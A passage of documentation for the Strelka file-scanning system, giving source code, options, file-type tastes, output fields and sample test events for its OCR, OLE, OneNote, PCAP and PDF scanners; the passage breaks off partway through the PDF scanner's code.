Field Name Field Typeelapsed str flags list noise_floor bool percentage float threshold float"},{"location":"Scanners/ScanNf.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"percentage\": 0.0,\n \"threshold\": 0.25,\n \"noise_floor\": True,\n }\nExtracts optical text from image files and creates a thumbnail.
This scanner extracts text from image files using OCR (Optical Character Recognition) and generates a base64-encoded thumbnail. It supports direct image files and converting PDFs to images for OCR.
Optionsextract_text: If True, extracted text is emitted as a child file. (default: False) split_words: If True, splits the OCR text into words and stores an array. (default: True) remove_formatting: If True, removes formatting characters (e.g., ). Overridden by split_words. (default: True) tmp_directory: Directory for temporary files. (default: '/tmp/') pdf_to_png: If True, converts PDFs to PNG for OCR. (default: False) create_thumbnail: If True, creates a thumbnail for the image. (default: False) thumbnail_size: Size of the thumbnail to create. (default: (250, 250))
Source code instrelka/src/python/strelka/scanners/scan_ocr.py class ScanOcr(strelka.Scanner):\n \"\"\"Extracts optical text from image files and creates a thumbnail.\n\n This scanner extracts text from image files using OCR (Optical Character Recognition) and\n generates a base64-encoded thumbnail. It supports direct image files and converting PDFs\n to images for OCR.\n\n Options:\n extract_text: If True, extracted text is emitted as a child file. (default: False)\n split_words: If True, splits the OCR text into words and stores an array. (default: True)\n remove_formatting: If True, removes formatting characters (e.g., \\r). Overridden by split_words. (default: True)\n tmp_directory: Directory for temporary files. (default: '/tmp/')\n pdf_to_png: If True, converts PDFs to PNG for OCR. (default: False)\n create_thumbnail: If True, creates a thumbnail for the image. (default: False)\n thumbnail_size: Size of the thumbnail to create. (default: (250, 250))\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n extract_text = options.get(\"extract_text\", False)\n remove_formatting = options.get(\"remove_formatting\", True)\n tmp_directory = options.get(\"tmp_directory\", \"/tmp/\")\n pdf_to_png = options.get(\"pdf_to_png\", False)\n create_thumbnail = options.get(\"create_thumbnail\", False)\n thumbnail_size = options.get(\"thumbnail_size\", (250, 250))\n\n # Convert PDF to PNG if required.\n if pdf_to_png and \"application/pdf\" in file.flavors.get(\"mime\", []):\n try:\n reader = fitz.open(stream=data, filetype=\"pdf\")\n if reader.is_encrypted:\n return\n data = reader.get_page_pixmap(0).tobytes(\"png\")\n except Exception as e:\n self.flags.append(\n f\"{self.__class__.__name__}: image_pdf_error: {str(e)[:50]}\"\n )\n\n # Create a thumbnail from the image.\n # Stores as a base64 value in the key: base64_thumbnail\n if create_thumbnail:\n try:\n image = Image.open(io.BytesIO(data))\n image.thumbnail(thumbnail_size, Image.Resampling.BILINEAR)\n buffered = io.BytesIO()\n image.save(buffered, format=\"WEBP\", quality=70, optimize=True)\n base64_image = base64.b64encode(buffered.getvalue()).decode(\"utf-8\")\n self.event[\"base64_thumbnail\"] = base64_image\n except Exception as e:\n self.flags.append(\n f\"{self.__class__.__name__}: image_thumbnail_error: {str(e)[:50]}\"\n )\n # Perform OCR on the image data.\n with tempfile.NamedTemporaryFile(dir=tmp_directory) as tmp_data:\n tmp_data.write(data)\n tmp_data.flush()\n\n with tempfile.NamedTemporaryFile(dir=tmp_directory) as tmp_tess:\n try:\n tess_txt_name = f\"{tmp_tess.name}.txt\"\n subprocess.run(\n [\"tesseract\", tmp_data.name, tmp_tess.name],\n capture_output=True,\n check=True,\n )\n\n with open(tess_txt_name, \"rb\") as tess_txt:\n ocr_file = tess_txt.read()\n if ocr_file:\n self.event[\"text\"] = ocr_file.split()\n if remove_formatting:\n self.event[\"string_text\"] = (\n ocr_file.replace(b\"\\r\", b\"\")\n .replace(b\"\\n\", b\"\")\n .replace(b\"\\f\", b\"\")\n )\n else:\n self.event[\"string_text\"] = ocr_file\n if extract_text:\n # Send extracted file back to Strelka\n self.emit_file(ocr_file, name=\"text\")\n\n os.remove(tess_txt_name)\n\n except subprocess.CalledProcessError as e:\n self.flags.append(\n f\"{self.__class__.__name__}: tesseract_process_error: {str(e)[:50]}\"\n )\n raise strelka.ScannerException(e.stderr)\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanOcr.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/pdf bmp_file gif_file image/gif image/jpeg image/png image/tiff image/webp image/x-ms-bmp jpeg_file pdf_file png_file type_is_tiff"},{"location":"Scanners/ScanOcr.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typebase64_thumbnail str elapsed str flags list string_text bytes text list"},{"location":"Scanners/ScanOcr.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"string_text\": b\"Lorem Ipsum Lorem ipsum dolor sit amet, consectetur adipisci\"\n b\"ng elit. Cras lobortis sem dui. Morbi at magna quis ligula f\"\n b\"aucibusconsectetur feugiat at purus. Sed nec lorem nibh. Nam\"\n b\" vel libero odio. Vivamus tempus non enim egestas pretium.Ve\"\n b\"stibulum turpis arcu, maximus nec libero quis, imperdiet sus\"\n b\"cipit purus. Vestibulum blandit quis lacus nonsollicitudin. \"\n b\"Nullam non convallis dui, et aliquet risus. Sed accumsan ull\"\n b\"amcorper vehicula. Proin non urna facilisis,condimentum eros\"\n b\" quis, suscipit purus. Morbi euismod imperdiet neque ferment\"\n b\"um dictum. Integer aliquam, erat sitamet fringilla tempus, m\"\n b\"auris ligula blandit sapien, et varius sem mauris eu diam. S\"\n b\"ed fringilla neque est, in laoreetfelis tristique in. Donec \"\n b\"luctus velit a posuere posuere. Suspendisse sodales pellente\"\n b\"sque quam.\",\n \"text\": [\n b\"Lorem\",\n b\"Ipsum\",\n b\"Lorem\",\n b\"ipsum\",\n b\"dolor\",\n b\"sit\",\n b\"amet,\",\n b\"consectetur\",\n b\"adipiscing\",\n b\"elit.\",\n b\"Cras\",\n b\"lobortis\",\n b\"sem\",\n b\"dui.\",\n b\"Morbi\",\n b\"at\",\n b\"magna\",\n b\"quis\",\n b\"ligula\",\n b\"faucibus\",\n b\"consectetur\",\n b\"feugiat\",\n b\"at\",\n b\"purus.\",\n b\"Sed\",\n b\"nec\",\n b\"lorem\",\n b\"nibh.\",\n b\"Nam\",\n b\"vel\",\n b\"libero\",\n b\"odio.\",\n b\"Vivamus\",\n b\"tempus\",\n b\"non\",\n b\"enim\",\n b\"egestas\",\n b\"pretium.\",\n b\"Vestibulum\",\n b\"turpis\",\n b\"arcu,\",\n b\"maximus\",\n b\"nec\",\n b\"libero\",\n b\"quis,\",\n b\"imperdiet\",\n b\"suscipit\",\n b\"purus.\",\n b\"Vestibulum\",\n b\"blandit\",\n b\"quis\",\n b\"lacus\",\n b\"non\",\n b\"sollicitudin.\",\n b\"Nullam\",\n b\"non\",\n b\"convallis\",\n b\"dui,\",\n b\"et\",\n b\"aliquet\",\n b\"risus.\",\n b\"Sed\",\n b\"accumsan\",\n b\"ullamcorper\",\n b\"vehicula.\",\n b\"Proin\",\n b\"non\",\n b\"urna\",\n b\"facilisis,\",\n b\"condimentum\",\n b\"eros\",\n b\"quis,\",\n b\"suscipit\",\n b\"purus.\",\n b\"Morbi\",\n b\"euismod\",\n b\"imperdiet\",\n b\"neque\",\n b\"fermentum\",\n b\"dictum.\",\n b\"Integer\",\n b\"aliquam,\",\n b\"erat\",\n b\"sit\",\n b\"amet\",\n b\"fringilla\",\n b\"tempus,\",\n b\"mauris\",\n b\"ligula\",\n b\"blandit\",\n b\"sapien,\",\n b\"et\",\n b\"varius\",\n b\"sem\",\n b\"mauris\",\n b\"eu\",\n b\"diam.\",\n b\"Sed\",\n b\"fringilla\",\n b\"neque\",\n b\"est,\",\n b\"in\",\n b\"laoreet\",\n b\"felis\",\n b\"tristique\",\n b\"in.\",\n b\"Donec\",\n b\"luctus\",\n b\"velit\",\n b\"a\",\n b\"posuere\",\n b\"posuere.\",\n b\"Suspendisse\",\n b\"sodales\",\n b\"pellentesque\",\n b\"quam.\",\n ],\n }\nExtracts files from OLECF files.
Source code instrelka/src/python/strelka/scanners/scan_ole.py class ScanOle(strelka.Scanner):\n \"\"\"Extracts files from OLECF files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n ole = None\n self.event[\"total\"] = {\"streams\": 0, \"extracted\": 0}\n\n try:\n ole = olefile.OleFileIO(data)\n ole_streams = ole.listdir(streams=True)\n self.event[\"total\"][\"streams\"] = len(ole_streams)\n for stream in ole_streams:\n try:\n file = ole.openstream(stream)\n extract_data = file.read()\n extract_name = f'{\"_\".join(stream)}'\n extract_name = re.sub(r\"[\\x00-\\x1F]\", \"\", extract_name)\n if extract_name.endswith(\"Ole10Native\"):\n native_stream = oletools.oleobj.OleNativeStream(\n bindata=extract_data,\n )\n if native_stream.filename:\n extract_name = (\n extract_name + f\"_{str(native_stream.filename)}\"\n )\n else:\n extract_name = extract_name + \"_native_data\"\n\n # Send extracted file back to Strelka\n self.emit_file(native_stream.data, name=extract_name)\n\n else:\n # Send extracted file back to Strelka\n self.emit_file(extract_data, name=extract_name)\n\n self.event[\"total\"][\"extracted\"] += 1\n except AttributeError:\n self.flags.append(\"attribute_error_in_stream\")\n\n except OSError:\n self.flags.append(\"os_error\")\n finally:\n if ole:\n ole.close()\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanOle.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/CDFV2 application/msword olecf_file"},{"location":"Scanners/ScanOle.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list total dict total.extracted int total.streams int"},{"location":"Scanners/ScanOle.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"total\": {\"streams\": 6, \"extracted\": 6},\n }\nExtracts embedded files in OneNote files.
Source code instrelka/src/python/strelka/scanners/scan_onenote.py class ScanOnenote(strelka.Scanner):\n \"\"\"Extracts embedded files in OneNote files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n self.event[\"total\"] = {\"files\": 0, \"extracted\": 0}\n\n try:\n # Searching for the magic string in the data\n for match in re.finditer(ONE_NOTE_MAGIC, data):\n self.event[\"total\"][\"files\"] += 1\n\n try:\n # Parsing the found object\n obj = FileDataStoreObject.parse(data[match.span(0)[0] :])\n\n # Sending extracted file back to Strelka for further analysis\n self.emit_file(obj.FileData)\n self.event[\"total\"][\"extracted\"] += 1\n except Exception as e:\n self.flags.append(\n f\"{self.__class__.__name__} Exception: {str(e)[:50]}\"\n )\n except Exception as e:\n self.flags.append(f\"{self.__class__.__name__} Exception: {str(e)[:50]}\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanOnenote.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/msonenote application/onenote onenote_file"},{"location":"Scanners/ScanOnenote.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list total dict total.extracted int total.files int"},{"location":"Scanners/ScanOnenote.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"total\": {\"extracted\": 2, \"files\": 2},\n \"flags\": [],\n }\nExtract files from pcap/pcapng files.
Optionslimit: Maximum number of files to extract. Defaults to 1000.
Source code instrelka/src/python/strelka/scanners/scan_pcap.py class ScanPcap(strelka.Scanner):\n \"\"\"Extract files from pcap/pcapng files.\n\n Options:\n limit: Maximum number of files to extract.\n Defaults to 1000.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n file_limit = options.get(\"limit\", 1000)\n tmp_directory = options.get(\"tmp_file_directory\", \"/tmp/\")\n scanner_timeout = options.get(\"scanner_timeout\", 120)\n\n self.event[\"total\"] = {\"files\": 0, \"extracted\": 0}\n self.event[\"files\"] = []\n\n try:\n # Check if zeek package is installed\n if not shutil.which(\"zeek\"):\n self.flags.append(\"zeek_not_installed_error\")\n return\n except Exception as e:\n self.flags.append(e)\n\n with tempfile.NamedTemporaryFile(dir=tmp_directory, mode=\"wb\") as tmp_data:\n tmp_data.write(data)\n tmp_data.flush()\n tmp_data.seek(0)\n\n with tempfile.TemporaryDirectory() as tmp_extract:\n try:\n (stdout, stderr) = subprocess.Popen(\n [\n \"zeek\",\n \"-r\",\n tmp_data.name,\n \"/opt/zeek/share/zeek/policy/frameworks/files/extract-all-files.zeek\",\n f\"FileExtract::prefix={tmp_extract}\",\n \"LogAscii::use_json=T\",\n ],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n cwd=tmp_extract,\n ).communicate(timeout=scanner_timeout)\n\n if os.path.exists(os.path.join(tmp_extract, \"files.log\")):\n with open(\n os.path.join(tmp_extract, \"files.log\"), \"r\"\n ) as json_file:\n # files.log is one JSON object per line, convert to array\n file_events = json.loads(\n \"[\" + \",\".join(json_file.read().splitlines()) + \"]\"\n )\n\n for file_event in file_events:\n if self.event[\"total\"][\"extracted\"] >= file_limit:\n self.flags.append(\"pcap_file_limit_error\")\n break\n\n self.event[\"total\"][\"files\"] += 1\n self.event[\"files\"].append(file_event)\n\n extracted_file_path = os.path.join(\n tmp_extract, file_event[\"extracted\"]\n )\n\n try:\n if os.path.exists(extracted_file_path):\n self.upload(extracted_file_path, expire_at)\n self.event[\"total\"][\"extracted\"] += 1\n\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"zeek_file_upload_error\")\n else:\n self.flags.append(\"zeek_no_file_log\")\n\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"zeek_extract_process_error\")\n\n def upload(self, name, expire_at):\n \"\"\"Send extracted file to coordinator\"\"\"\n with open(name, \"rb\") as extracted_file:\n # Send extracted file back to Strelka\n self.emit_file(extracted_file.read())\nupload(name, expire_at)","text":"Send extracted file to coordinator
Source code instrelka/src/python/strelka/scanners/scan_pcap.py def upload(self, name, expire_at):\n \"\"\"Send extracted file to coordinator\"\"\"\n with open(name, \"rb\") as extracted_file:\n # Send extracted file back to Strelka\n self.emit_file(extracted_file.read())\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanPcap.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludepcap_file pcapng_file"},{"location":"Scanners/ScanPcap.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str files list files.analyzers str files.depth int files.duration float files.duration str files.extracted str files.extracted_cutoff bool files.fuid str files.id.orig_h str files.id.orig_p int files.id.resp_h str files.id.resp_p int files.is_orig bool files.local_orig bool files.mime_type str files.missing_bytes int files.overflow_bytes int files.seen_bytes int files.source str files.timedout bool files.total_bytes int files.ts float files.uid str flags list total dict total.extracted int total.files int"},{"location":"Scanners/ScanPcap.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"total\": {\"files\": 3, \"extracted\": 3},\n \"files\": [\n {\n \"analyzers\": unordered([\"PE\", \"EXTRACT\"]),\n \"depth\": 0,\n \"duration\": 0.00018906593322753906,\n \"extracted\": \"extract-1673576655.41892-HTTP-FOxTJwn9u5H1hBXn1\",\n \"extracted_cutoff\": False,\n \"fuid\": \"FOxTJwn9u5H1hBXn1\",\n \"id.orig_h\": \"192.168.174.1\",\n \"id.orig_p\": 13147,\n \"id.resp_h\": \"192.168.174.131\",\n \"id.resp_p\": 8080,\n \"is_orig\": False,\n \"local_orig\": True,\n \"mime_type\": \"application/x-dosexec\",\n \"missing_bytes\": 0,\n \"overflow_bytes\": 0,\n \"seen_bytes\": 4096,\n \"source\": \"HTTP\",\n \"timedout\": False,\n \"total_bytes\": 4096,\n \"ts\": 1673576655.41892,\n \"uid\": 0.001,\n },\n {\n \"analyzers\": unordered([\"EXTRACT\"]),\n \"depth\": 0,\n \"duration\": 0.007551908493041992,\n \"extracted\": \"extract-1673576666.163778-HTTP-FxYAi61ktBsEM4hpNd\",\n \"extracted_cutoff\": False,\n \"fuid\": \"FxYAi61ktBsEM4hpNd\",\n \"id.orig_h\": \"192.168.174.1\",\n \"id.orig_p\": 13162,\n \"id.resp_h\": \"192.168.174.131\",\n \"id.resp_p\": 8080,\n \"is_orig\": False,\n \"local_orig\": True,\n \"mime_type\": \"image/jpeg\",\n \"missing_bytes\": 0,\n \"overflow_bytes\": 0,\n \"seen_bytes\": 308566,\n \"source\": \"HTTP\",\n \"timedout\": False,\n \"total_bytes\": 308566,\n \"ts\": 1673576666.163778,\n \"uid\": 0.001,\n },\n {\n \"analyzers\": unordered([\"EXTRACT\"]),\n \"depth\": 0,\n \"duration\": 0.0,\n \"extracted\": \"extract-1673576677.801391-HTTP-FoNGFk1uRR9pVo9XKi\",\n \"extracted_cutoff\": False,\n \"fuid\": \"FoNGFk1uRR9pVo9XKi\",\n \"id.orig_h\": \"192.168.174.1\",\n \"id.orig_p\": 13176,\n \"id.resp_h\": \"192.168.174.131\",\n \"id.resp_p\": 8080,\n \"is_orig\": False,\n \"local_orig\": True,\n \"mime_type\": \"application/xml\",\n \"missing_bytes\": 0,\n \"overflow_bytes\": 0,\n \"seen_bytes\": 620,\n \"source\": \"HTTP\",\n \"timedout\": False,\n \"total_bytes\": 620,\n \"ts\": 1673576677.801391,\n \"uid\": 0.001,\n },\n ],\n }\nExtracts metadata, embedded files, images, and text from PDF files.
This scanner utilizes PyMuPDF to parse PDF files, extracting various types of data, including metadata, embedded files, images, and textual content. Phone numbers and URLs within the document are also extracted and reported.
Source code instrelka/src/python/strelka/scanners/scan_pdf.py class ScanPdf(strelka.Scanner):\n \"\"\"\n Extracts metadata, embedded files, images, and text from PDF files.\n\n This scanner utilizes PyMuPDF to parse PDF files, extracting various types of data,\n including metadata, embedded files, images, and textual content. Phone numbers and\n URLs within the document are also extracted and reported.\n \"\"\"\n\n @staticmethod\n def _convert_timestamp(timestamp):\n \"\"\"\n Converts a PDF timestamp string to an ISO 8601 formatted string.\n\n PDF timestamps are typically in the 'D:%Y%m%d%H%M%S%z' format. This function\n converts them to a more standard ISO 8601 format.\n\n Args:\n timestamp: A string representing the timestamp in PDF format.\n\n Returns:\n An ISO 8601 formatted timestamp string, or None if conversion fails.\n \"\"\"\n try:\n return (\n datetime.strptime(timestamp.replace(\"'\", \"\"), \"D:%Y%m%d%H%M%S%z\")\n .astimezone(timezone.utc)\n .strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n )\n except Exception:\n return None\n\n def scan(self, data, file, options, expire_at):\n \"\"\"\n Performs the scanning process on the provided data.\n\n The function opens the PDF using PyMuPDF and extracts metadata, embedded files,\n images, and text. Phone numbers and URLs are also extracted using regular expressions.\n\n Args:\n data: Data of the file to be scanned.\n file: The File object associated with the data.\n options: Dictionary of scanner-specific options.\n expire_at: Expiration time of the scan.\n \"\"\"\n # Set maximum XREF objects to be collected (default: 250)\n max_objects = options.get(\"max_objects\", 250)\n\n try:\n with io.BytesIO(data) as pdf_io:\n reader = fitz.open(stream=pdf_io, filetype=\"pdf\")\n\n # Collect Metadata\n self.event[\"dirty\"] = reader.is_dirty\n self.event[\"encrypted\"] = reader.is_encrypted\n self.event[\"language\"] = reader.language\n self.event[\"needs_pass\"] = reader.needs_pass\n self.event[\"old_xrefs\"] = reader.has_old_style_xrefs\n self.event[\"pages\"] = reader.page_count\n self.event[\"repaired\"] = reader.is_repaired\n self.event[\"xrefs\"] = reader.xref_length() - 1\n\n if reader.is_encrypted:\n return\n\n # Set Default Variables\n self.event[\"images\"] = 0\n self.event[\"lines\"] = 0\n self.event[\"links\"] = []\n self.event[\"words\"] = 0\n self.event.setdefault(\"xref_object\", list())\n keys = list()\n\n self.event[\"author\"] = reader.metadata[\"author\"]\n self.event[\"creator\"] = reader.metadata[\"creator\"]\n self.event[\"creation_date\"] = self._convert_timestamp(\n reader.metadata[\"creationDate\"]\n )\n self.event[\"embedded_files\"] = {\n \"count\": reader.embfile_count(),\n \"names\": reader.embfile_names(),\n }\n self.event[\"format\"] = reader.metadata[\"format\"]\n self.event[\"keywords\"] = reader.metadata[\"keywords\"]\n self.event[\"modify_date\"] = self._convert_timestamp(\n reader.metadata[\"modDate\"]\n )\n self.event[\"producer\"] = reader.metadata[\"producer\"]\n self.event[\"subject\"] = reader.metadata[\"subject\"]\n self.event[\"title\"] = reader.metadata[\"title\"]\n\n # Collect Phones Numbers\n phones = []\n for i in range(self.event[\"pages\"]):\n phones.extend(\n [\n re.sub(\"[^0-9]\", \"\", x)\n for x in re.findall(\n PHONE_NUMBERS_REGEX,\n reader.get_page_text(i).replace(\"\\t\", \" \"),\n )\n ]\n )\n self.event[\"phones\"] = list(set(phones))\n\n # iterate through xref objects. Collect, count, and extract objects\n self.event[\"xref_object\"] = list()\n for xref in range(1, reader.xref_length()):\n xref_object = reader.xref_object(xref, compressed=True)\n if xref_object not in self.event[\"xref_object\"]:\n self.event[\"xref_object\"].append(xref_object)\n for obj in options.get(\"objects\", []):\n pattern = f\"/{obj}\"\n if pattern in xref_object:\n keys.append(obj.lower())\n # Extract urls from xref\n self.event[\"links\"].extend(\n re.findall(r\"https?://[^\\s)>]+\", xref_object)\n )\n self.event[\"objects\"] = dict(Counter(keys))\n\n # Convert unique xref_object set back to list\n self.event[\"xref_object\"] = list(\n set(self.event[\"xref_object\"][:max_objects])\n )\n\n # Submit embedded files to strelka\n try:\n for i in range(reader.embfile_count()):\n props = reader.embfile_info(i)\n\n # Send extracted file back to Strelka\n self.emit_file(reader.embfile_get(i), name=props[\"filename\"])\n\n except strelka.ScannerTimeout:\n raise\n except Exception as e:\n self.flags.append(f\"pdf_embedded_processing_error: {str(e)[:50]}\")\n\n # Submit extracted images to strelka\n try:\n for i in range(len(reader)):\n for img in reader.get_page_images(i):\n self.event[\"images\"] += 1\n pix = fitz.Pixmap(reader, img[0])\n\n # Send extracted file back to Strelka\n self.emit_file(pix.tobytes(), name=\"image\")\n\n except strelka.ScannerTimeout:\n raise\n except Exception as e:\n self.flags.append(f\"pdf_image_processing_error: {str(e)[:50]}\")\n\n # Parse data from each page\n try:\n text = \"\"\n for page in reader:\n self.event[\"lines\"] += len(page.get_text().split(\"\\n\"))\n self.event[\"words\"] += len(\n list(filter(None, page.get_text().split(\" \")))\n )\n # Extract links\n for link in page.get_links():\n self.event[\"links\"].append(link.get(\"uri\"))\n\n text += page.get_text()\n\n # Extract urls from text\n self.event[\"links\"].extend(re.findall(r\"https?://[^\\s)>]+\", text))\n\n # If links found, remove all duplicates and submit as IOCs.\n # Deduplicate the links\n if self.event[\"links\"]:\n self.event[\"links\"] = list(set(filter(None, self.event[\"links\"])))\n\n # Submit all links to the IOCs pipeline.\n self.add_iocs(self.event[\"links\"])\n\n # Send extracted file back to Strelka\n self.emit_file(text.encode(\"utf-8\"), name=\"text\")\n\n except strelka.ScannerTimeout:\n raise\n except Exception as e:\n self.flags.append(f\"pdf_page_processing_error: {str(e)[:50]}\")\n except strelka.ScannerTimeout:\n raise\n except Exception as e:\n self.flags.append(f\"pdf_load_error: {str(e)[:50]}\")\nscan(data, file, options, expire_at)","text":"Performs the scanning process on the provided data.
The function opens the PDF using PyMuPDF and extracts metadata, embedded files, images, and text. Phone numbers and URLs are also extracted using regular expressions.
Parameters:
Name Type Description Defaultdata Data of the file to be scanned.
requiredfile The File object associated with the data.
requiredoptions Dictionary of scanner-specific options.
requiredexpire_at Expiration time of the scan.
required Source code instrelka/src/python/strelka/scanners/scan_pdf.py def scan(self, data, file, options, expire_at):\n \"\"\"\n Performs the scanning process on the provided data.\n\n The function opens the PDF using PyMuPDF and extracts metadata, embedded files,\n images, and text. Phone numbers and URLs are also extracted using regular expressions.\n\n Args:\n data: Data of the file to be scanned.\n file: The File object associated with the data.\n options: Dictionary of scanner-specific options.\n expire_at: Expiration time of the scan.\n \"\"\"\n # Set maximum XREF objects to be collected (default: 250)\n max_objects = options.get(\"max_objects\", 250)\n\n try:\n with io.BytesIO(data) as pdf_io:\n reader = fitz.open(stream=pdf_io, filetype=\"pdf\")\n\n # Collect Metadata\n self.event[\"dirty\"] = reader.is_dirty\n self.event[\"encrypted\"] = reader.is_encrypted\n self.event[\"language\"] = reader.language\n self.event[\"needs_pass\"] = reader.needs_pass\n self.event[\"old_xrefs\"] = reader.has_old_style_xrefs\n self.event[\"pages\"] = reader.page_count\n self.event[\"repaired\"] = reader.is_repaired\n self.event[\"xrefs\"] = reader.xref_length() - 1\n\n if reader.is_encrypted:\n return\n\n # Set Default Variables\n self.event[\"images\"] = 0\n self.event[\"lines\"] = 0\n self.event[\"links\"] = []\n self.event[\"words\"] = 0\n self.event.setdefault(\"xref_object\", list())\n keys = list()\n\n self.event[\"author\"] = reader.metadata[\"author\"]\n self.event[\"creator\"] = reader.metadata[\"creator\"]\n self.event[\"creation_date\"] = self._convert_timestamp(\n reader.metadata[\"creationDate\"]\n )\n self.event[\"embedded_files\"] = {\n \"count\": reader.embfile_count(),\n \"names\": reader.embfile_names(),\n }\n self.event[\"format\"] = reader.metadata[\"format\"]\n self.event[\"keywords\"] = reader.metadata[\"keywords\"]\n self.event[\"modify_date\"] = self._convert_timestamp(\n reader.metadata[\"modDate\"]\n )\n self.event[\"producer\"] = reader.metadata[\"producer\"]\n self.event[\"subject\"] = reader.metadata[\"subject\"]\n self.event[\"title\"] = reader.metadata[\"title\"]\n\n # Collect Phones Numbers\n phones = []\n for i in range(self.event[\"pages\"]):\n phones.extend(\n [\n re.sub(\"[^0-9]\", \"\", x)\n for x in re.findall(\n PHONE_NUMBERS_REGEX,\n reader.get_page_text(i).replace(\"\\t\", \" \"),\n )\n ]\n )\n self.event[\"phones\"] = list(set(phones))\n\n # iterate through xref objects. Collect, count, and extract objects\n self.event[\"xref_object\"] = list()\n for xref in range(1, reader.xref_length()):\n xref_object = reader.xref_object(xref, compressed=True)\n if xref_object not in self.event[\"xref_object\"]:\n self.event[\"xref_object\"].append(xref_object)\n for obj in options.get(\"objects\", []):\n pattern = f\"/{obj}\"\n if pattern in xref_object:\n keys.append(obj.lower())\n # Extract urls from xref\n self.event[\"links\"].extend(\n re.findall(r\"https?://[^\\s)>]+\", xref_object)\n )\n self.event[\"objects\"] = dict(Counter(keys))\n\n # Convert unique xref_object set back to list\n self.event[\"xref_object\"] = list(\n set(self.event[\"xref_object\"][:max_objects])\n )\n\n # Submit embedded files to strelka\n try:\n for i in range(reader.embfile_count()):\n props = reader.embfile_info(i)\n\n # Send extracted file back to Strelka\n self.emit_file(reader.embfile_get(i), name=props[\"filename\"])\n\n except strelka.ScannerTimeout:\n raise\n except Exception as e:\n self.flags.append(f\"pdf_embedded_processing_error: {str(e)[:50]}\")\n\n # Submit 